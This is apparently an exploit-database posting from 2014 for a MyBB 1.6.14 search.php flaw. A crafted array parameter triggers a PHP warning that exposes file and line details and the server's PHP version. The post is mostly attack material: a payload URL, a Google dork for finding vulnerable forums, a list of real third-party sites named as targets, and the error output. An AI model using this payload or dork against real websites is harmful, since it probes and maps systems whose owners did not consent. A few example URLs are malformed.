Açık bana aittir arkadaşlar. MyBB yetkililerine bildirdiğimde cevapları şu oldu " It's just a bug, a low priority one, and one we've known about for a long time. " :)

http://cxsecurity.com/issue/WLB-2014070152

# Title: MyBB 1.6.14 - search.php Bug
# Google Dork: inurl:"search.php" intext:"Powered By MyBB"
# Date: 26.07.2014
# Author: DemoLisH
# Vendor Homepage: http://www.mybb.com/
# Software Link: http://www.mybb.com/downloads
# Version: 1.6.14 - Latest Version
# Contact: onur@b3yaz.org

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[~#~] Exploit:
search.php?action[$victor]=getdaily

[~#~] Demo:
http://community.mybb.com/search.php?action [$victor]=getdaily

[~#~] Error:
Warning [2] Illegal offset type in isset or empty - Line: 239 - File: global.php PHP 5.4.28-1~dotdeb.1 (Linux)

[~#~] Example:
http://my-bb.ir/search.php?action [$victor=getdaily
http://www.mybb.fr/search.php?action [$victor]=getdaily
http://community.mybb.vn/search.php?action [$victor]=getdaily
http://destek.mybb.com.tr/search.php?action [$victor]=getdaily
http://www.mybb.biz/search.php?action [$victor]=getdaily
http://mybb.co.il/forum/search.php?action [$victor]=getdaily

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[~#~] Thanks To:
ynR !, T3kfurD4GLi, X-X-X, PoseidonKairos, Mugair and all TurkeySecurity.Org & B3yaz.Org Members.